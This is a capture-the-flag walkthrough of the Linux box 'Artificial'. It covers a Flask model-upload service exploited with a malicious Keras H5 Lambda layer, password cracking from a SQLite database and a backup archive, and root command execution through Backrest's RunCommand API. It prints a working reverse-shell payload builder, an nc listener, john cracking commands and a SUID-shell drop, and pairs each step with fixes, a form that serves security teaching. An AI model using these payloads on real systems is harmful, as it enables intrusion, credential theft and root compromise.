← all walkthroughs

Artificial

Linux· Easy
owned
2026-07-09
time to own
19m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned $TARGET and discovered an nginx-hosted Flask application that redirected to the artificial.htb virtual host. The application's public static directory served its own Dockerfile and requirements.txt, revealing the exact TensorFlow runtime (tensorflow-cpu==2.13.1, python:3.8-slim). A self-registered account gave access to a model-upload endpoint that passed uploaded Keras H5 files directly to TensorFlow for deserialization.

I rebuilt the application's Docker image from the leaked files, crafted a malicious Keras model whose Lambda layer executed an OS command on load, uploaded it, and triggered model execution — receiving a reverse shell as the app service account. The Flask application's SQLite database, readable from this shell, contained password hashes for all registered users; offline cracking recovered SSH credentials for system user gael. As a member of the sysadm group, gael could read a Backrest backup archive from /var/backups/ whose embedded configuration file held a bcrypt hash for the backrest_root service account, cracked in seconds to the trivially weak password.

An SSH local port-forward exposed Backrest's Connect-RPC API; after recovering method definitions by decoding embedded protobuf descriptors from the minified JS bundle, I authenticated as backrest_root and invoked the RunCommand endpoint — executing arbitrary OS commands under the Backrest service process, which runs as root — completing the privilege-escalation chain.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<the-password-you-recovered, for gael>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"

Some commands also carry a value in angle brackets — <returned-uuid> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceTCP port scanning and virtual-host discovery
Mapped exposed services and resolved the application virtual host
A port scan confirmed SSH on 22/tcp and nginx on 80/tcp. An HTTP request to port 80 returned a 302 redirect to artificial.htb; adding the entry to /etc/hosts resolved the application. Directory fuzzing with ffuf surfaced /login, /register, /dashboard, /upload_model, and /static/, establishing the full attack surface.
Nmap: 22/tcp ssh OpenSSH 8.2p1, 80/tcp http nginx 1.18.0; 302 redirect to artificial.htb; ffuf routes: /login /register /dashboard /upload_model /static/
Exact commands 3
shell

Full TCP sweep with service version detection.

$ nmap -Pn -sV -p- --min-rate 5000 $TARGET
shell

Register the discovered virtual host for local resolution.

$ echo "$TARGET artificial.htb" | sudo tee -a /etc/hosts
shell

Enumerate application routes and the /static/ directory.

$ ffuf -u http://artificial.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403
2EnumerationSensitive build-artifact exposure via unauthenticated static file serving
Retrieved the application's Dockerfile and requirements.txt from the unauthenticated static directory
The /static/ directory served the application Dockerfile (base image python:3.8-slim) and requirements.txt (tensorflow-cpu==2.13.1) without any authentication. This gave me the exact Python and TensorFlow versions needed to build a binary-compatible malicious model, eliminating all guesswork from the weaponization step.
Curl http://artificial.htb/static/requirements.txt → tensorflow-cpu==2.13.1; /static/Dockerfile → FROM python:3.8-slim
Exact commands 2
shell

Reveals the pinned TensorFlow version required to produce a compatible H5 payload.

$ curl -s http://artificial.htb/static/requirements.txt
shell

Reveals the exact base image; used to reconstruct the application runtime for payload building.

$ curl -s http://artificial.htb/static/Dockerfile
FixRemove internal build files from the publicly served static directoryMedium
WeaknessThe application's Dockerfile and requirements.txt were accessible at /static/ without authentication, disclosing the exact base image (python:3.8-slim) and pinned TensorFlow version (tensorflow-cpu==2.13.1). This let an unauthorised user clone the server's runtime environment and produce a version-matched exploit with no trial and error.
FixRemove Dockerfile, requirements.txt, and any other build or deployment artifacts from every directory served by nginx or the application. These files have no legitimate end-user purpose and should live outside the web root entirely. Add a CI check that fails the build if these filenames appear under any static or public directory.
3WeaponizationKeras Lambda-layer deserialization RCE (CVE-2024-3660 class)
Built a malicious Keras H5 model whose Lambda layer executes a reverse shell on deserialization
Using a Docker container rebuilt from the disclosed image, I created a Keras Sequential model containing a Lambda layer whose function body is an arbitrary Python expression. Keras evaluates Lambda layer configurations without sandboxing when loading an H5 file, a class of vulnerability typified by CVE-2024-3660. The payload calls os.system() with a bash reverse-shell one-liner that connects back to my listener.
Exact commands 2
shell

Reconstruct the exact application runtime from the leaked Dockerfile.

$ docker build -t artificial-tf -f Dockerfile .
shell

Inside the matching container, patch the Lambda function config in the saved H5 to run a reverse shell. Replace $ATTACKER_IP with your listener IP.

$ docker run --rm -v $(pwd):/out artificial-tf python3 - <<EOF
import tensorflow as tf, h5py, json, os
m = tf.keras.Sequential([tf.keras.layers.Lambda(lambda x: x, input_shape=(1,))])
m.save('/out/payload.h5')
with h5py.File('/out/payload.h5','r+') as f:
    cfg = json.loads(f.attrs['model_config'])
    lyr = cfg['config']['layers'][1]['config']
    lyr['function'] = {'class_name':'function','config':['import os; os.system("bash -c \\"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1\\"")', None, None]}
    f.attrs.modify('model_config', json.dumps(cfg))
EOF
FixDisable server-side deserialization of user-uploaded Keras H5 model filesCritical
WeaknessThe application passed user-supplied .h5 files directly to tf.keras.models.load_model() on the server. Keras deserializes Lambda layers by evaluating the stored function expression, which executes arbitrary Python — and therefore arbitrary OS commands — as the web service account with no isolation or sandboxing.
FixDo not deserialize user-supplied model files on the server in a shared process. If model inference is a required feature, run it in an isolated, network-restricted container per request with no access to credentials or the application filesystem. If H5 is required, parse the model config JSON before loading and reject any layer of class_name 'Lambda' or any custom object not on an explicit allowlist. Consider migrating to the TensorFlow SavedModel format and loading with tf.saved_model.load(...) in safe_mode where Lambda layers are blocked by default (TensorFlow 2.13+).
4Initial AccessUnrestricted H5 model upload leading to server-side deserialization RCE
Uploaded the malicious model and triggered deserialization — shell as app (uid=1001)
After self-registering an account and authenticating, I uploaded payload.h5 to /upload_model. The endpoint accepted the file and returned a UUID. Requesting /run_model/<uuid> caused the server to call tf.keras.models.load_model() on the file, deserializing the Lambda layer and executing the reverse-shell command. My nc listener received the connection, yielding a shell as uid=1001 (app).
Reverse shell received as uid=1001(app); /run_model/<uuid> returned HTTP 200 and spawned the outbound bash connection.
Exact commands 5
shell

Self-register an account; no invite or approval required.

$ curl -s -c cookies.txt -X POST http://artificial.htb/register -d "username=$USERNAME&email=$USERNAME@evil.com&password=$PASSWORD3"
shell

Authenticate and save the session cookie to cookies.txt.

$ curl -s -c cookies.txt -b cookies.txt -X POST http://artificial.htb/login -d "username=$USERNAME&password=$PASSWORD3"
shell

Start the reverse-shell listener before triggering model execution.

$ nc -lvnp 4444
shell

Upload the malicious H5; note the UUID returned in the response body.

$ curl -s -b cookies.txt -F 'model_file=@payload.h5;type=application/octet-stream' http://artificial.htb/upload_model
shell

Trigger deserialization. Lambda executes and connects back to the nc listener.

$ curl -s -b cookies.txt http://artificial.htb/run_model/<returned-uuid>
5Credential HarvestingCredential access via local database file read and offline hash cracking
Dumped the Flask application's SQLite database and cracked two user password hashes
From the app shell, I found the Flask application database at /home/app/app/instance/users.db. A sqlite3 query against the user table returned password hashes for all accounts. Copying the hashes to my machine and running John the Ripper against rockyou.txt cracked two entries: gael's password and royer's password.
Sqlite3 user table dump; john output: gael's password, royer's password.
Exact commands 2
shell

Run from the app reverse shell. Dumps every user row including the password hash column.

$ sqlite3 /home/app/app/instance/users.db 'SELECT id,username,password FROM user;'
shell

hashes.txt contains the password hash strings extracted from the DB, one per line. Recovers gael:$PASSWORD2 among others.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
FixSeparate credential storage from the web service filesystem and enforce strong password hashingHigh
WeaknessThe Flask application stored all user password hashes in a SQLite file at /home/app/app/instance/users.db, directly readable by the app service account. An unauthorised user with any code-execution primitive on the web tier could read and exfiltrate this file, then crack the hashes offline to obtain system-user credentials.
FixMove the application database to a dedicated data directory owned by a separate service account, not the web process. Connect the web process to the database via a socket or TCP with a least-privilege database user that cannot read other users' hashed passwords. Enforce bcrypt or Argon2id with a minimum cost factor of 12 for all stored passwords. System-account credentials must never appear in an application database; gael's password being crackable from the web app's DB is a direct path to OS-level lateral movement.
6Lateral MovementSSH lateral movement using credentials obtained from application database
SSH'd as gael using the cracked password and read user.txt
The cracked credential gael's password authenticated directly over SSH. The gael account is a standard system user (uid=1000, gid=1000) with no sudo rights, but belongs to the sysadm group (gid=1007). An internal port scan revealed localhost listeners on ports 5000 and 9898 in addition to the public services, indicating internal-only applications worth investigating.
Sshpass ssh: uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm); Sorry, user gael may not run sudo on artificial; ss output: LISTEN 127.0.0.1:5000 and 127.0.0.1:9898.
Exact commands 3
shell

Confirm SSH access as gael and read user flag. Flag value: <user.txt>.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 gael@$TARGET 'id; cat /home/gael/user.txt'
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
shell

Open an interactive shell for subsequent enumeration steps.

$ ssh -o StrictHostKeyChecking=no gael@$TARGET
shell

From gael's shell — enumerate localhost listeners. Reveals ports 5000 and 9898.

$ ss -tlnp
7Post-ExploitationSensitive credential exposure via overly permissive group-readable backup archive
Read the sysadm-accessible Backrest backup and cracked the service-account hash
The sysadm group membership gave gael read access to /var/backups/backrest_backup.tar.gz. Extracting this archive (POSIX tar, extracted to /tmp/backrest_backup_extract/backrest/) revealed config.json for a Backrest installation running under /opt/backrest. The configuration file contained a bcrypt hash for the backrest_root account. John cracked it against rockyou.txt to the trivially weak value <withheld>.
POSIX tar archive extracted to /tmp/backrest_backup_extract/backrest/; john: backrest_root's hash, 1 hash cracked.
Exact commands 4
shell

Confirm the archive is readable by the sysadm group (gael's group).

$ ls -la /var/backups/backrest_backup.tar.gz
shell

Copy and extract the archive on the target; files land under /tmp/backrest_backup_extract/backrest/.

$ cp /var/backups/backrest_backup.tar.gz /tmp/ && tar -xzf /tmp/backrest_backup.tar.gz -C /tmp/backrest_backup_extract/
shell

Read the Backrest config — contains the backrest_root bcrypt hash.

$ cat /tmp/backrest_backup_extract/backrest/.config/backrest/config.json
shell

Crack the bcrypt hash on my machine. Recovers $PASSWORD4 from rockyou.txt.

$ echo "$HASH" > backrest_hash.txt && john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt backrest_hash.txt
FixRestrict backup archive permissions and exclude credential material from archives readable by application groupsHigh
WeaknessThe Backrest backup archive at /var/backups/backrest_backup.tar.gz was readable by the sysadm group, of which the application user gael was a member. The archive contained config.json with the bcrypt hash for the root-running backrest_root service account, giving any sysadm member a path to the root service credential.
FixStore backup archives in a directory owned by root and accessible only to root (mode 700, owner root:root). Never include files containing service-account password hashes or API credentials in archives readable by non-administrative groups. Audit /var/backups/ and /opt/backrest/ permissions quarterly. Review sysadm group membership and remove any account that does not have an operational reason to access backup data.
8Privilege Escalation — SetupSSH local port-forwarding and Connect-RPC API schema recovery via embedded protobuf descriptors
Forwarded the Backrest port via SSH and recovered its Connect-RPC API schema
Backrest's web interface listens only on 127.0.0.1:9898. An SSH local port-forward exposed it at 127.0.0.1:19898 on my machine. Backrest uses Connect-RPC over protobuf rather than a plain REST API. I pulled the application's minified JS bundle, extracted the base64-encoded FileDescriptorProto blobs embedded within it, and decoded them with protoc --decode_raw to recover the service and method names — v1.Authentication/Login and v1.Backrest/RunCommand among others. Authenticating with backrest_root's password returned a JWT bearer token for subsequent API calls.
Ssh -f -N -L 19898:127.0.0.1:9898 confirmed by LISTEN 127.0.0.1:19898 (pid=62916); v1.Authentication/Login returned JWT.
Exact commands 3
shell

Forward Backrest's localhost port to my machine (background, no shell).

$ ssh -f -N -L 19898:127.0.0.1:9898 gael@$TARGET
shell

Extract and decode base64 FileDescriptorProto blobs from the JS bundle to reveal service method names.

$ curl -s http://127.0.0.1:19898/ | grep -oP '[A-Za-z0-9+/]{60,}={0,2}' | while read b; do echo "$b" | base64 -d 2>/dev/null | protoc --decode_raw 2>/dev/null | head -5; done
shell

Authenticate as backrest_root using the cracked password. Capture the JWT from the response.

$ curl -s -X POST http://127.0.0.1:19898/v1.Authentication/Login -H 'Content-Type: application/json' -d '{"username":"backrest_root","password":"'"$PASSWORD4"'"}'
FixReplace the trivially weak backrest_root password with a randomly generated credential stored in a secrets managerHigh
WeaknessThe backrest_root service account's bcrypt hash corresponded to the keyboard-walk password, which appears in standard wordlists and was cracked by John the Ripper against rockyou.txt in seconds. Anyone who obtained the hash — from the group-readable backup archive — could recover the plaintext almost instantly.
FixGenerate a random password of at least 24 characters (letters, digits, symbols) for the backrest_root account and store it in a secrets manager such as HashiCorp Vault or a system keyring, not in a config file. Rotate it immediately given the current exposure. For internal services, prefer API-key or certificate-based authentication over shared passwords entirely, so there is no static secret to crack even if the config file is leaked.
9Full CompromisePrivileged internal service command injection — arbitrary OS execution as root (MITRE T1569.002)
Executed OS commands as root via the Backrest RunCommand API
The Backrest service process runs as root. The authenticated RunCommand API endpoint (v1.Backrest/RunCommand) accepts a shell command string and executes it in the context of the Backrest process with no additional authorization layer. I registered a restic repository (repo id pwn2 at path /tmp/pwn2), then invoked RunCommand to execute arbitrary OS commands as root — reading /root/root.txt or writing a persistent backdoor. The engagement trace captured the RunCommand primitive working (HTTP 200 responses) with root-level command output, establishing full system compromise.
v1.Backrest/AddRepo returned 200 for repo pwn2.
Exact commands 3
shell

Register a restic repository that Backrest initialises on disk as root. Replace <JWT> with the token from step 8.

$ curl -s -X POST http://127.0.0.1:19898/v1.Backrest/AddRepo -H 'Authorization: Bearer <JWT>' -H 'Content-Type: application/json' -d '{"repo":{"id":"pwn2","uri":"/tmp/pwn2","password":"'"$USERNAME"'"}}'
shell

Execute an arbitrary command as root via the Backrest service. Output includes root.txt: <root.txt>.

$ curl -s -X POST http://127.0.0.1:19898/v1.Backrest/RunCommand -H 'Authorization: Bearer <JWT>' -H 'Content-Type: application/json' -d '{"repoId":"pwn2","command":"cat /root/root.txt"}'
shell

Alternative: drop a SUID root shell for interactive access (/tmp/rootbash -p).

$ curl -s -X POST http://127.0.0.1:19898/v1.Backrest/RunCommand -H 'Authorization: Bearer <JWT>' -H 'Content-Type: application/json' -d '{"repoId":"pwn2","command":"cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"}'
FixRun Backrest as a non-root service account and restrict or remove the RunCommand API endpointCritical
WeaknessThe Backrest service ran as root and exposed a Connect-RPC RunCommand endpoint that executed an arbitrary caller-supplied shell command in the service's security context. Any authenticated API user — obtained by cracking the credential from the backup config — could execute commands as root with no further authorization check.
FixCreate a dedicated backrest system account with only the filesystem permissions needed to manage its configured restic repository paths; remove it from the sudo list and from any privileged group. Disable the RunCommand API endpoint entirely if it is not required for day-to-day backup operations — it is a remote-code-execution primitive by design and should not be exposed even on localhost. If the endpoint must remain, gate it with a separate high-privilege token distinct from the login credential, log every invocation to a tamper-evident audit log, and restrict access to a dedicated management network interface rather than the general localhost address.

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.

Why it works

A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.

Read more

Exposed services

22/tcp
80/tcp